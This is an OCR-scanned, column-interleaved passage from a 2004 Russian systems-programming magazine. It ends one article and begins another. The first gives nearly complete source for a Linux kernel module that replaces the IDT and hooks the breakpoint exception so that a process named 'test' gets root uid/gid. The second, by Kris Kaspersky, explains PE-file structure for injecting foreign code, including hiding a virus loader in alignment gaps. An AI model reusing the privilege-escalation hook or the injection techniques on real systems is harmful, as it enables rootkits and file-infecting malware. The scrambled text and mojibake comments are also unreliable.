#include <linux/init.h>
Компилируем и запускаем процесс sfc от имени пользо- #include <linux/types.h>
вателя play. После этого загружаем модуль и пробуем
// Ïðîòîòèï íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
зайти в систему под именем play1. extern void my_stub();
Кроме присвоения привилегий процессу sfc, модуль
// àäðåñ òàáëèöû IDT
отображает также информацию о текущем выполняющем- __u32 idt_addr = 0;
ся процессе: // àäðåñ ñòàðîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
__u32 old_handler = 0;
// àäðåñ ôóíêöèè, êîòîðàÿ áóäåò âûçâàíà ïåðåä îáðàáîò÷èêîì
// èñêëþ÷åíèÿ #BP.
__u32 new_handler = 0;
Именно с помощью команды insmod мы загружаем
модуль. Вопрос: каким образом можно воздействовать на Формат дескриптора IDT определяет следующая струк-
текущий процесс? Ведь по сравнению с фоновым он на- тура:
долго в памяти не задерживается. Например, тот же
insmod – загрузил модуль и сразу на выход. struct descr_idt {
__u16 off_low;
По этому поводу очень интересный пример был при- __u16 sel;

№6(19), июнь 2004 49


программирование
__u8 none, flags; Подмену адресов в таблице IDT выполняет функция
__u16 off_high; set_handler():
} __attribute__ ((packed));

Два поля этой структуры, off_low и off_high, содержат void set_handler(int i, __u32 new_addr)
{
адрес обработчика исключения.
В поле off_low находятся младшие 16 бит, а в поле idt[i].off_high = (__u16)(new_addr >> 16);
idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
off_high – старшие 16 бит адреса обработчика. Для полу- }
чения адреса обработчика содержимое этих полей необ-
ходимо сложить следующим образом: Параметры этой функции:
! int i – номер дескриптора, в котором нужно изменить
__u32 address = (__u32)(off_high << 16) | off_low); адрес обработчика;
! __u32 new_addr – адрес нового обработчика.
Следующий указатель нам понадобится для размеще-
ния новой таблицы IDT: Перед заменой адресов желательно сохранить адрес
«родного» обработчика. Для этого необходимо прочитать
struct descr_idt *idt; этот адрес из таблицы IDT:

Формат регистра таблицы дескрипторов прерываний __u32 get_handler(int i)


{
(IDTR, Interrupt Descriptor Table Register): return((idt[i].off_high << 0x10) | idt[i].off_low);
}
struct {
__u16 limit; // ðàçìåð òàáëèöû IDT
__u32 base; // áàçîâûé àäðåñ òàáëèöû IDT Следующая функция выполняет непосредственно то,
} __attribute__ ((packed)) idtr; ради чего все затевалось – назначает права root процес-
су test. Эта функция должна быть вызвана перед обра-
Адрес таблицы IDT считывает следующая функция: ботчиком исключения #BP для проверки имени текущего
процесса:
__u32 get_idt_addr()
{ asmlinkage void my_handler()
__u32 idt_addr; {
asm ("sidt %0":"=m" (idtr)); if(strcmp(current->comm, "test") == 0) {
idt_addr = idtr.base; current->uid = 0;
return idt_addr; current->gid = 0;
current->euid = 0;
} current->egid = 0;
current->suid = 0;
Функция get_idt_addr() считывает содержимое регист- current->sgid = 0;
current->fsuid = 0;
ра IDTR в структуру idtr при помощи инструкции SIDT. В current->fsgid = 0;
результате в поле base этой структуры будет находиться
printk(KERN_INFO "%s - EXCEPTION #BP occured!\n", current->comm);
искомый базовый адрес IDT. }
После того как найден базовый адрес IDT, можно со-
return;
здать новую таблицу дескрипторов прерываний, а затем }
в ней произвести подмену адреса исключения #BP:
При совпадении имен текущего процесса и шаблона
void set_new_idt() функция назначает процессу привилегии root.
{
Осталось рассмотреть, чем мы заменим стандартный
unsigned long flags; обработчик исключения #BP.
/* Следующая функция содержит в себе определение
* Âûäåëÿåì ïàìÿòü äëÿ íîâîé òàáëèöû IDT è êîïèðóåì â íåå вызова нового обработчика исключения #BP – my_stub():
* ñîäåðæèìîå ñòàðîé òàáëèöû:
*/
idt = (struct descr_idt *)kmalloc(255 * ↵ void stub()
sizeof(struct descr_idt),GFP_KERNEL); {
memcpy((void *)idt, (void *)idt_addr, 255 * ↵ __asm__ __volatile__ (
sizeof(struct descr_idt)); ".globl my_stub \n"
".align 4, 0x90 \n"
/* "my_stub: \n" // íîâûé îáðàáîò÷èê!
*  ïîëå base ñòðóêòóðû idtr çàíîñèì íîâîå çíà÷åíèå " call *%0 \n"
* áàçîâîãî àäðåñà òàáëèöû è çàãðóæàåì åãî â ðåãèñòð IDTR " jmp *%1 "
* èíñòðóêöèåé LIDT. ::"m"(new_handler),"m"(old_handler));
*/ }
idtr.base = (__u32)idt;
__save_flags(flags); __cli(); Сначала команда call вызвает функцию my_handler,
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags); адрес которой находится в переменной new_handler, а
после возврата из этой функции команда jmp передает
return;
} управление по адресу старого обработчика #BP, который

50
программирование
сохранен в переменной old_handler. Запускаем процесс на выполнение:
Все функции, которые мы рассмотрели, будут вызва-
ны во время загрузки модуля ядра:

int init_module()
{
int i = 3; // íîìåð èñêëþ÷åíèÿ — Breakpoint (#BP) Дошли до точки останова #1. Продолжим выполнение
__u32 new_addr; // àäðåñ íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
процесса:
/*
* Ñ÷èòûâàåì àäðåñ òàáëèöû IDT è ôîðìèðóåì íîâóþ òàáëèöó
*/
idt_addr = get_idt_addr();
printk(KERN_INFO "Old IDT address - 0x%08x\n",(__u32)(idt_addr));
set_new_idt();
printk(KERN_INFO "New IDT address - 0x%08x\n",(__u32)(idtr.base)); Запущен новый shell. Проверяем, с какими правами:
new_handler = (__u32)&my_handler; // àäðåñ ô-èè my_handler
/*
* Ñîõðàíÿåì àäðåñ ñòàðîãî îáðàáîò÷èêà #BP, îïðåäåëÿåì àäðåñ
* íîâîãî è ïðîèçâîäèì çàìåíó àäðåñîâ â íîâîé òàáëèöå IDT
*/
old_handler = get_handler(i); В итоге мы получили в свое распоряжение еще один
new_addr = (__u32)&my_stub; shell с правами play. Интересного в этом мало. Другое
set_handler(i, new_addr);
дело, если запустить shell с правами root.
return 0; Завершим работу отладчика:
}

Во время выгрузки модуля необходимо восстановить


старую таблицу IDT. Ее адрес сохранен в переменной
idt_addr. Адрес обработчика #BP восстанавливать не надо,
так как в старой таблице он остался без изменений.

void cleanup_module() Теперь загрузим модуль и опять запустим процесс в


{
unsigned long flags; отладчике:
/*
* Çàíîñèì àäðåñ òàáëèöû IDT â ïîëå base ñòðóêòóðû idtr
* à çàòåì êîìàíäîé LIDT çàãðóæàåì åãî â ðåãèñòð IDTR
*/
idtr.base = (__u32)idt_addr;
__save_flags(flags);
__cli();
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags);

/*
* Îñâîáîæäàåì ïàìÿòü, çàíÿòóþ íîâîé òàáëèöåé IDT Смотрим, какими правами обладает новый shell:
*/
kfree(idt);
printk(KERN_INFO "Old IDT address restore ↵
(0x%08x)\n",(__u32)(idtr.base));
return;
}
На этот раз все получилось так, как мы и предполага-
Процесс, статус которого мы хотим повысить, выгля- ли, – модуль перехватил исключение #BP, которое воз-
дит следующим образом: никло в момент остановки выполнения процесса на функ-
ции main, проверил имя процесса и установил его иденти-
/* Ôàéë test.c */ фикаторы в 0, повысив тем самым уровень привилегий
int main()
{ процесса до root. После этого управление было передано
system("/bin/bash"); «родному» обработчику исключения #BP и процесс про-
return 0;
} должил свое выполнение, но уже с другими правами, ко-
торые и унаследовал новый shell.
Запускаем процесс в отладчике:
Литература:
1. Теренс Чан. Системное программирование на С++ для
UNIX: Пер. с англ. – К.: Издательская группа BHV, 1999. –
Устанавливаем точку останова на функцию main(): 592c.
2. М. Митчелл, Д. Оулдем, А. Самьюэл. Программирова-
ние в Linux. Профессиональный подход.: Пер. с англ. –
М.: Издательский дом «Вильямс», 2002. – 288 с.:ил.

№6(19), июнь 2004 51


программирование

ПУТЬ ВОИНА – ВНЕДРЕНИЕ В PE/COFF-ФАЙЛЫ


…хакерство вытеснило все – голод, интерес
к девушкам, друзей, учебу, родителей, смысл жизни.
Это был дракон, сжигающий все на своем пути,
оставляющий лишь запах напалма и смутные картинки
прошлого в памяти. Когда я включал компьютер,
я испытывал чувства, знакомые, наверное, только
заядлому наркоману, который наконец ширнулся
после двухмесячного «голода»…

Аноним

Статья подробно описывает формат PE-файлов, раскрывая особенности внутренней кухни системного
загрузчика и двусмысленности фирменной спецификации, предупреждая читателя о многочисленных
ловушках, подстерегающих его на пути внедрения своего кода в чужие исполняемые файлы. Здесь вы
найдете большое количество исходных текстов, законченных решений и наглядных примеров, упрощающих
восприятие материала. Статья ориентирована главным образом на Windows NT/9x и производные от них
системы, но также затрагивает и проблему совместимости с Windows-эмуляторами, такими, например,
как wine и doswin32.
КРИС КАСПЕРСКИ
После публикации статьи, посвященной UNIX-вирусам, ко тают крайне нестабильно, а все потому что упаковщик
мне стали приходить письма с просьбами написать «точно ASPack не соответствует спецификации, закладываясь на
такую же, но только под Windows». Действительно, внедре- те особенности системного загрузчика, преемственности
ние постороннего кода в PE-файлы – очень перспективное которых никто и никому не обещал. В лучшем случае авто-
и нетривиальное занятие, интересное не только вирусопи- ры эмуляторов добавляют в свои продукты обходной код,
сателям, но и создателям навесных протекторов/упаковщи- предназначенный для обработки подобных вещей, в худ-
ков в том числе. шем же – оставляют все как есть, мотивируя это словами
Что же до этической стороны проблемы… политика «воз- «повторять чужое пионерство себе дороже…»
держания» и удержания передовых технологий под сукном А восстановление пораженных объектов? Многие фай-
лишь увеличивает масштабы вирусных эпидемий, и когда лы после заражения отказывают в работе, и попытка вы-
дело доходит до схватки, никто из прикладных программис- лечить их антивирусом лишь усугубляет ситуацию. Всякий
тов и администраторов к ней оказывается не готов. В стане уважающий себя профессионал должен быть готов вычис-
системных программистов дела обстоят еще хуже. Исход- тить вирус вручную, не имея под рукой ничего, кроме hex-
ных текстов операционной системы нет, PE-формат доку- редактора! То же самое относится и к снятию упаковщи-
ментирован кое-как, поведение системного загрузчика во- ков/дезактивации навесных протекторов. Эй! Кто там на-
обще не подчиняется никакой логике, а допрос с пристрас- чал бурчать про злобных хакеров и неэтичность взлома?
тием (читай – дизассемблирование) еще не гарантирует, что Помилуйте, что за фрейдистские ассоциации?! Ну нельзя
остальные загрузчики поведут себя точно так же. же всю жизнь что-то ломать (надо на чем-то и сидеть!). В
На сегодняшний день не существует ни одного более или майском номере «Системного администратора» за 2004 год
менее корректного упаковщика/протектора под Windows, опубликована замечательная статья Андрея Бешкова, жи-
в полной мере поддерживающего фирменную специфика- вописно обрисовывающая возню с протекторами под эму-
цию и учитывающего недокументированные особенности лятором wine. Как говорится, тут не до жиру – быть бы живу.
поведения системных загрузчиков в операционных систе- Какой смысл платить за регистрацию, если воспользоваться
мах Windows 9x/NT. Про различные эмуляторы, такие, на- защищенной программой все равно не удастся?!
пример, как wine, doswin32, мы лучше промолчим, хотя нас Собственно говоря, всякое вмешательство в структуру
так и подмывает сказать, что файлы, упакованные ASPack готового исполняемого файла – мероприятие достаточно
в среде doswin32 либо не запускаются вообще, либо рабо- рискованное, и шанс сохранить ему работоспособность на

52
программирование
всех платформах достаточно невелик. Однако, если вы все- Top to Bottom» от Randy Kath из Microsoft Developer Network
таки решили, что это вам необходимо, пожалуйста, отнеси- Technology Group – это хороший способ запудрить себе
тесь к проектированию внедряемого кода со всей серьезно- мозги и написать мертворожденный PE-дампер, перевари-
стью и следуйте рекомендациям, данным в этой статье. вающий только «честные» файлы и падающий на всех ос-
Широта охватываемых тем не позволила рассказать обо тальных (dumpbin ведь падает!). Аналогичным образом по-
всем в одной статье, и ее пришлось разбить на две части – ступает и Matt Pietrek, обходящий базовые концепции PE-
та, которую вы сейчас держите в руках, посвящена описа- файла стороной и начинающий процесс описания с сере-
нию малоизвестных особенностей PE-файлов, без знания дины, но так и не доводящий его до логического конца.
которых свой упаковщик/протектор ни за что не написать Иначе поступает автор статьи «Об упаковщиках в пос-
(по крайней мере работоспособный упаковщик/протектор – ледний раз» (http://www.wasm.ru/print.php?article= packlast01
точно). А конкретные механизмы внедрения чужеродного и http://www.wasm.ru/print.php?article=packers2), сосредото-
кода мы рассмотрим в следующий раз. чивший свои усилия на исследовании системного загруз-
чика W2K/XP и допустивший при этом большое количество
Особенности структуры PE-файлов фактических ошибок, полный разбор которых потребовал
бы отдельной статьи. При всей ценности этой работы она
в конкретных реализациях нисколько не проясняет ситуацию и только добавляет воп-
Знакомство читателя с PE-форматом не входит в нашу за- росов. Автор сетует на то, что работа загрузчика полнос-
дачу и предполагается, что некоторый опыт работы с ними у тью не документирована и даже у Руссиновича обнаружи-
него уже имеется. Существует множество описаний PE-фор- ваются лишь обрывки информации. Ну была бы она доку-
мата, но среди них нет ни одного по-настоящему хорошего. ментирована – что бы от этого изменилось? Какое нам дело
Официальная спецификация (Microsoft Portable Executable до того, что в W2K/XP загрузка файла сводится к вызову
and Common Object File Format Specification), написанная MmCreateSection? Во-первых, в остальных системах это не
двусмысленным библейским языком, скорее напоминает так, а во-вторых, это сегодня Microsoft стремится весь ввод/
сферического коня в вакууме, чем практическое руковод- вывод делать через mmap, но когда до горячих американс-
ство. Даже среди сотрудников Microsoft нет единого мнения ких парней дойдет, что это тормоза, а не ускорение, поли-
по поводу, как именно следует его толковать, и различные тика изменится, и MmCreateSection отправятся на заслу-
системные загрузчики ведут себя сильно неодинаково. Что женный отдых (в чулан ее, на полку!).
же касается сторонних разработчиков, то здесь и вовсе ца- Дизассемблировать ядро совсем небесполезно, но вот
рит полная неразбериха. закладываться на полученные результаты, не проверив их
Понимание структуры готового исполняемого файла на остальных осях, ни в коем случае нельзя! Верить в спе-
еще не наделяет вас умением самостоятельно собирать цификации по меньшей мере наивно, ведь всякая специ-
такие файлы вручную. Операционные системы облагают фикация – это только слова, а всякий программный код –
нас весьма жесткими ограничениями, зачастую вообще лишь частный случай реализации. И то, и другое непосто-
не упомянутыми в документации и варьирующимися от янно и переменчиво. Чтение книжек (равно как и протира-
одной ОС к другой. Не так-то просто создать файл, загру- ние штанов в учебных заведениях различной степени тя-
жающийся больше чем на одной машине (которой, как жести) еще никого не сделало программистом. Лишь «опыт,
правило, является машина его создателя). Один шаг в сын ошибок трудных», да общение с коллегами-системщи-
сторону – и загрузчик открывает огонь без предупрежде- ками, позволят избежать грубых ошибок1. Как говорится,
ния, выдавая малоинформативное сообщение в стиле не падает только тот, кто лежит, а кто бежит – падает, на-
«файл не является win32 приложением», после чего оста- ступает на грабли и попадает в логические ямы, глубо-
ется только гадать: что же здесь неправильно (кстати го- кие, как колодцы из романа Мураками.
воря, Windows 9x намного более подробно диагностирует Автор, имеющий богатый опыт в работе с PE-файла-
ошибку, чем Windows NT, если, конечно, некорректный ми и помнящий численные значения смещений всех струк-
файл не вгонит ее в крутой завис, а виснет она на удивле- тур как отче наш, в процессе работы над статьей в такие
ние часто – загрузчик там писали пионеры не иначе). колодцы попадал неоднократно (да и сейчас там сидит).
Технические писатели, затрагивающие тему исполняе- Всякое значение подобно больному зубу – если его не тро-
мых файлов и совершенно не разбирающиеся в предмет- гать, он не будет ныть. Отдельные пробелы, неясности и
ной области, за которую взялись, за неимением лучших непонятности неизбежны. Когда пишешь рабочие замет-
идей прибегают к довольно грязному трюку и подменяют ки «для себя», просто махаешь рукой и говоришь: да ка-
одну тему другой. Отталкиваясь от уже существующих PE- кая разница, что этот большой красный рубильник дела-
файлов, созданных линкером, они долго и занудно объяс- ет? Работает ведь – и ладно… Статья – дело другое и тут
няют назначение каждого из полей, демонстративно про- хочешь не хочешь, а будь добр разложить все по полоч-
гуливаясь по ссылочным структурам от вершины до дна. кам! Автор выражает глубокую признательность удиви-
Сложнее разобраться, почему эти структуры сконструиро- тельному человеку, мудрому программисту и создателю
ваны именно так, а не иначе. Какой в них заложен запас замечательного линкера ulink Юрию Харону (ftp://
прочности? Каким именно образом их интерпретирует си- ftp.styx.cabel.net/pub/UniLink), терпеливо отвечавшему на
стемный загрузчик? А что на счет предельно допустимых мои сумбурные и нечетко сформулированные вопросы.
значений? Увы, все эти вопросы остаются без ответа. Чте- Если бы не его консультации, эта статья ни за что бы не
ние статей в стиле «The Portable Executable File Format from получилось такой, какова она есть!

№6(19), июнь 2004 53


программирование

Общие концепции и требования, зический адрес начала секции в файле/размер секции в


файле, виртуальный адрес секции в памяти/размер сек-
предъявляемые к PE-файлам ции в памяти и атрибут характеристик секции, описываю-
Структурно PE-файл состоит из заголовка (header), стра- щий права доступа, особенности ее обработки системным
ничного имиджа (image page) и необязательного оверлея загрузчиком и т. д. Грубо говоря, секция вправе сама ре-
(overlay). Представление PE-файла в памяти называется шать, откуда и куда ей грузиться, однако эта свобода весь-
его виртуальным образом (virtual image) или просто обра- ма условна и на ассортимент выбираемых значений на-
зом, а на диске – файлом или дисковым образом. Если не ложено множество ограничений. Начало каждой секции в
оговорено обратное, то под образом всегда понимается памяти/диске всегда совпадает с началом виртуальных
виртуальный образ. страниц/секторов соответственно. Попытка создать сек-
Образ характеризуется двумя фундаментальными – цию, начинающуюся с середины, жестоко пресекается
адресом базовой загрузки (image base) и размером (image системным загрузчиком, отказывающимся обрабатывать
size). При наличии перемещаемой информации (relocation/ такой файл. С концом складывается более демократич-
fixup table) образ может быть загружен по адресу, отлич- ная ситуация и загрузчик не требует, чтобы виртуальный
ному от image base и назначаемому непосредственно са- (и частично физический) размер секций был кратен раз-
мой операционной системой. меру страницы. Вместо этого он самостоятельно вырав-
Образ делится на страницы (pages), а файл – на сек- нивает секции, забивая их хвост нулями, так что никакая
торы (sectors). Виртуальный размер страниц/секторов за- страница (сектор) не может принадлежать двум и более
дается явно в заголовке файла и не обязательно должен секциям сразу. Фактически это сплошное надуватель-
совпадать с физическим2. ство – не выровненный (в заголовке!) размер автомати-
Системный загрузчик требует от образа непрерывно- чески выравнивается в страничном имидже, поэтому пред-
сти, документация же обходит этот вопрос стороной. На ставленные нам полномочия на проверку оказываются
всем протяжении между image base и (image base + size сплошной фикцией.
of image) не должно присутствовать ни одной бесхозной Все секции совершенно равноправны, и тип каждой
страницы, не принадлежащей ни заголовку, ни секциям – из них тесно связан с ее атрибутами, интерпретируемы-
такой файл просто не будет загружен. (С этим не совсем ми довольно неоднозначным и противоречивым образом
согласен Юрий Харон, однако ни одного «прерывистого» (см. «Таблица секций»). Реально (читай – на сегодняш-
файла выловить в живой природе мне не удалось, а по- ний день) мы имеем два аппаратных и два программных
пытка создать таковой самостоятельно всякий раз закан- атрибута: Accessible/Writeable и Shared/Loadable (после-
чивалась неизменным неуспехом). Бесхозных же секто- дний – условно) соответственно. Вот отсюда и следует
ров в любой части файла может быть сколько угодно. Каж- плясать! Все остальное – из области абстрактных кон-
дый сектор может отображаться на любое количество цепций.
страниц (по одной странице за раз), но никакая страница «Секция кода», «секция данных», «секция импорта» –
не может отображать на один и тот же регион памяти бо- не более чем образные выражения, своеобразный руди-
лее одного сектора. мент старины, оставшийся в наследство от сегментной
Для работы с PE-файлами используются три различ- модели памяти, когда код, данные и стек действительно
ные схемы адресации: физические адреса (называемые находились в различных сегментах, а не были сведены в
также сырыми указателями или смещениями raw pointers/ один, как это происходит сейчас.
raw offset или просто offset), отсчитываемые от начала Служебные структуры данных (таблицы экспорта, им-
файла; виртуальные адреса (virtual address или сокращен- порта, перемещаемых элементов) могут быть расположе-
ное VA), отсчитываемые от начала адресного простран- ны в любой секции с подходящими атрибутами доступа.
ства процесса, и относительные виртуальные адреса Когда-то правила хорошего тона диктовали помещать
(relative virtual address или сокращенно RVA), отсчитывае- каждую таблицу в свою персональную секцию, но теперь
мые от базового адреса загрузки. Все трое измеряются в эта методика признана устаревшей. Теперь на смену ей
байтах и хранятся в 32-битных указателях (в PE64 все ука- пришла анархия и старый добрый квадратно-гнездовой
затели 64-битные, но где мы, а где PE64?). Параграфы способ, когда содержимое служебных таблиц размазыва-
давно вышли из моды, а жаль… Вообще-то существует и ется тонким слоем по всему страничному имиджу, что су-
четвертый тип адресации – RRA, что расшифровывается щественно утяжеляет алгоритм внедрения в исполняемый
как Raw Relative Address (сырые относительные адреса) файл, но это уже тема другого разговора. Впрочем, как
или Relative Relative Address (относительно относительные справедливо замечает Юрий Харон, дело тут совсем не в
адреса). Терминология вновь моя, ибо официального на- анархии, а в оптимизации по размеру/скорости загрузки.
звания у такого способа адресации нет и не предвидится. Оверлей, в своем каноническом определении сводя-
Иногда его называют offset, что не совсем верно, т.к. offset щийся к «хвостовой» части файла, не загружаемой в па-
бывают разные, а RRVA-адреса всегда отсчитываются от мять, в PE-файлах может быть расположен в любом мес-
стартового адреса своей структуры (в частности, Offset те дискового образа, в том числе и посередине. Действи-
ModuleName задает смещение от начала таблицы диапа- тельно, если между двумя смежными секциями располо-
зонного импорта). жено несколько бесхозных секторов, не приватизирован-
Страничный имидж состоит из одной или нескольких ных никакой секцией, такие сектора останутся без пред-
секций. С каждой секцией связано четыре атрибута: фи- ставления в памяти и имеют все основания считать себя

54
программирование
оверлеями. Собственно говоря, оверлеями их можно на- Все PE-файлы без исключения (и системные драйве-
зывать только в переносном смысле. Спецификация на ры в том числе!) начинаются с old-exe заголовка, за кон-
PE-файлы этого термина в упор не признает и никаких, цом которого следует dos-заглушка (ms-dos real-mode stub
даже самых примитивных, механизмов поддержки с овер- program или просто stub), обычно выводящая разочаро-
леями win32 API не обеспечивает (не считая, конечно, при- вывающее ругательство на терминал, хотя в некоторых
митивного ввода/вывода). случаях в нее инкапсулирована MS-DOS версия програм-
За сим все! Теперь, после составления контурной кар- мы, но это уже экзотика. Мэтт Питтерек в «Секретах сис-
ты PE-файлов, можно смело приступать к ее детализа- темного программирования под Windows 95» пишет: «пос-
ции, не рискуя заблудиться в непроходимых терминоло- ле того как загрузчик win32 отобразит в память PE-файл,
гических и технических джунглях. первый байт отображения файла соответствует первому
Внимание! Эту статью нельзя читать как приключен- байту заглушки DOS». Это неверно! Первый байт отобра-
ческий роман или детектив. Разумеется, я приложил все жения соответствует первому байту самого файла, т.е.
усилия и как мог структурировал материал, стремясь пи- отображение всегда начинается с сигнатуры «MZ», в чем
сать максимально доходчивым языком, хотя бы и ценой легко можно убедиться, загрузив файл в отладчик и про-
второстепенных деталей. Тем не менее для оперативного смотрев его дамп.
переваривания информации вам придется обложиться PE-заголовок, в подавляющем большинстве случаев
стопками распечаток и, вооружившись hex-редактором, начинающийся непосредственно за концом old-exe про-
сопровождать чтение статьи перемещением курсора по граммы, на самом деле может быть расположен в любом
файлу, чтобы самостоятельно «потрогать руками» все месте файла – хоть в середине, хоть в конце, т.к. загруз-
описываемые здесь структуры… чик определяет его положение по двойному слову e_lfanew,
Да осилит дорогу идущий! Когда вы доберетесь до кон- смещенному на 3Ch байт от начала файла.
ца, вы поймете, почему не работают некоторые файлы, PE-заголовок представляет собой 18h-байтовую струк-
упакованные ASPack/ASPrpotect, и как это исправить, не туру данных, описывающую фундаментальные характе-
говоря уже о том, что сможете создавать абсолютно ле- ристики файла и содержащую «PE\x0\x0»-сигнатуру, по
гальные файлы, которые ни один дизассемблер не дизас- которой файл, собственно говоря, и отождествляется.
семблирует в принципе! Непосредственно за концом PE-заголовка следует оп-
циональный заголовок, специфицирующий структуру стра-
Структура PE-файла ничного имиджа более детально (базовый адрес загруз-
ки, размер образа, степень выравнивания – все это и мно-
PE File Format гое другое задается именно в нем). Название «опциональ-
MS-DOS ный» выбрано не очень удачно и слабо коррелирует с ок-
MZ Header ружающей действительностью, ибо без опционального
MS-DOS Real-Mode заголовка файл попросту не загрузится, так какой же он
Stub Program «опциональный», если обязательный? (Впрочем, когда PE-
PE File Signature формат только создавался, все было по-другому, а сей-
PE File час мы вынуждены тащить это наследие старины за со-
Header бой.) Важной структурой опционального заголовка явля-
PE File ется DATA_DIRECTORY, представляющая собой массив
Optional Header указателей на подчиненные структуры данных, как то: таб-
.text Section Header лицы экспорта и импорта, отладочную информацию, таб-
лицу перемещаемых элементов и т. д. Типичный размер
.bss Section Header опционального заголовка составляет E0h байт, но может
варьироваться в ту или иную сторону, что определяется
.rdata Section Header
полнотой занятости DATA_DIRECTORY, а также количе-
. ством мусора за ее концом (если таковой вдруг там есть,
.
хотя его настоятельно рекомендуется избегать). Может по-
.
казаться забавным, но размер опционального заголовка
.debug Section Header хранится в PE-заголовке, так что эти две структуры очень
тесно связаны.
.text Section
За концом опционального заголовка следует суверен-
.bss Section
ная территория, оккупированная таблицей секций. Поли-
тическая принадлежность ее весьма условна. Ни к одному
.rdata Section из заголовков она не принадлежит и, судя по всему, явля-
ется самостоятельным заголовком безымянного типа (под-
.
.
робнее см. «SizeOfHeaders» и «Таблица секций»). Редкое
. внедрение в исполняемый файл обходится без правки таб-
лицы секций, поэтому эта структура для нас ключевая.
.debug Section
За концом таблицы секций раскинулось топкое болото
Ðèñóíîê 1. Ñõåìàòè÷åñêîå èçîáðàæåíèå PE-ôàéëà ничейной области, не принадлежащей ни заголовкам, ни

№6(19), июнь 2004 55


программирование
секциям, образовавшееся в результате выравнивания стороны, поведение подавляющего большинства файлов
физических адресов секций по кратным адресам. В зави- вполне предсказуемо и внедряться в них-таки можно.
симости от ряда обстоятельств, подробно разбираемых Дисковый файл и его виртуальный образ – это, как го-
по ходу изложения материала, заболоченная память мо- ворят в Одессе, две большие разницы. С момента окон-
жет как отображаться на адресное пространство процес- чания загрузки стандартный PE-файл работает исключи-
са, так и не отображаться на него. Обращаться с ней сле- тельно со своим виртуальным образом и не обращается
дует крайне осторожно, т.к. здесь может быть располо- непосредственно к самому файлу (исключение составля-
жен чей-то оверлей, исполняемый код или структура дан- ют оверлеи и секции отладочной информации, но это уже
ных (таблица диапазонного импорта, например). тема другого разговора). Нет, не так! Обращение к немо-
Начиная с raw offset первой секции, указанного в таб- дифицированным страницам файла все-таки происходит
лице секций, простирается страничный имидж, точнее, его (при условии, что он загружен с винчестера, а не с диске-
упакованный дисковый образ. «Упакованный» в том смыс- ты или сетевого диска), Windows не настолько глупа, что-
ле, что физические размеры секций (с учетом выравни- бы вытеснять в своп то, что в любой момент можно подка-
вания) включают в себя лишь инициализированные дан- чать с диска. Впрочем, этот механизм настолько прозра-
ные и не содержат ничего лишнего (ну хорошо, «не долж- чен, что учитывать его совершенно необязательно.
ны содержать ничего лишнего…»). Виртуальный размер Внедряемый код может как угодно перекраивать дис-
секций может существенно превосходить физический, что ковый файл, но виртуальный образ менять не должен.
с секциями данных случается сплошь и рядом. В памяти Точнее, после передачи управления на оригинальную точ-
секции всегда упорядочены, чего нельзя сказать о диско- ку входа виртуальный образ должен быть приведен в ис-
вом образе. Помимо дыр, оставшихся от выравнивания, ходный вид. При этом допускается:
между секциями могут располагаться оверлеи, к тому же ! увеличивать размер страничного имиджа, записыва-
порядок следования секций в памяти и на диске совпада- ясь в его конец;
ет далеко не всегда… ! оккупировать незанятые области (например, те, что ис-
Одни секции имеют постоянное представительство в пользуются для выравнивания);
памяти, другие – нанимаются лишь на период загрузки, ! выделять память на стеке/куче, перемещая туда свое
по завершении которой в любой момент могут быть безо- тело.
говорочно выдворены оттуда (не сброшены в своп, а имен-
но выдворены, то есть депортированы!). Что же до треть- Поскольку секции располагаются в файле по выров-
их – они вообще никогда не загружаются в память, ну раз- ненным адресам, между ними практически всегда оста-
ве что по частям. В частности, секция с отладочной ин- ется свободное пространство, уверенно вмещающее в
формацией ведет себя именно так. Впрочем, отладочная себя крохотный загрузчик, подкачивающий «хвост» виру-
информация не обязательно должна оформляться в виде са из оверлея. Как вариант (если нет другого оверлея),
отдельной секции, и чаще она подцепляется к файлу в можно увеличить размер последней секции и записаться
виде оверлея. в ее конец. Более радикально настроенный код может
За концом последней секции обычно бывает располо- сбросить часть чужой секции в оверлей, усевшись на ос-
жено некоторое количество мусорных байт, оставляемых вободившееся место, а затем, непосредственно перед
линкером по небрежности. Это не оверлей (к нему никогда передачей управления, восстановить ее обратно. Внешний
не происходит обращений), хотя и нечто очень на него по- антураж выглядит просто замечательно, но задумайтесь,
хожее. Разумеется, оверлеев может быть и несколько – что произойдет, если:
системный загрузчик не налагает на это никаких ограни- ! сбрасываемый фрагмент секции будет содержать одну
чений, однако и не предоставляет никаких унифицирован- или несколько служебных таблиц, например таблицу
ных механизмов работы с оверлеями – программа, создав- импорта;
шая свой оверлей, вынуждена работать с ним самостоя- ! сбрасываемый фрагмент секции будет содержать один
тельно, задействовав API ввода/вывода (впрочем, «вывод» или несколько перемещаемых элементов.
не работает в принципе, т.к. загруженный файл доступен
только на чтение, запись в него наглухо заблокирована). Таким образом, перед тем как сбрасывать что бы то ни
Короче говоря, физическое представление исполняе- было в оверлей, внедряемый код должен проанализировать
мого файла представляет собой настоящее лоскутное все служебные структуры, прописанные в DATA DIRECTORY,
одеяло, напоминающее политическую карту мира в стиле чтобы ненароком не сбросить ничего лишнего. Затем необ-
«раскрась сам». Переварить эту кухню очень непросто, ходимо проанализировать таблицу перемещаемых элемен-
поскольку закладываться ни на что нельзя и следует ожи- тов (если она есть) и либо выбрать участок, свободный от
дать любых неожиданностей… перемещений, либо удалить соответствующие элементы из
таблицы с тем, чтобы впоследствии обработать их самосто-
Что можно и что нельзя делать ятельно. До ресурсов дотрагиваться ни в коем случае нельзя,
иначе проводник иконки не найдет!
с PE-файлом Но хватит говорить о плохом. Давайте лучше о хоро-
Строго говоря, чужой исполняемый файл лучше не трогать, шем. Все секции стандартного PE-файла, за исключением
поскольку заранее неизвестно, к чему именно он привязы- секции с отладочной информацией, используют только RVA/
вается и какие структуры данных контролирует. С другой RRA- и VA-адресацию, а это значит, что мы можем свобод-

56
программирование
но перемещать секции внутри дискового образа: менять жа с внедрением в конец кодовой секции без сброса ее в
их местами, внедрять между ними оверлеи – и все это ни- оверлей – занятие не для слабонервных, однако игра сто-
как не скажется на работоспособности файла, поскольку ит свеч, поскольку такой код идеально вписывается в ар-
страничный имидж во всех случаях будет один и тот же! хитектуру существующего файла и не привлекает к себе
Это не покажется удивительным, если вспомнить, что вир- никакого внимания. Грубо говоря, это единственный спо-
туальный и физический адреса каждой секции хранятся в соб вторжения, который нельзя распознать визуально (под-
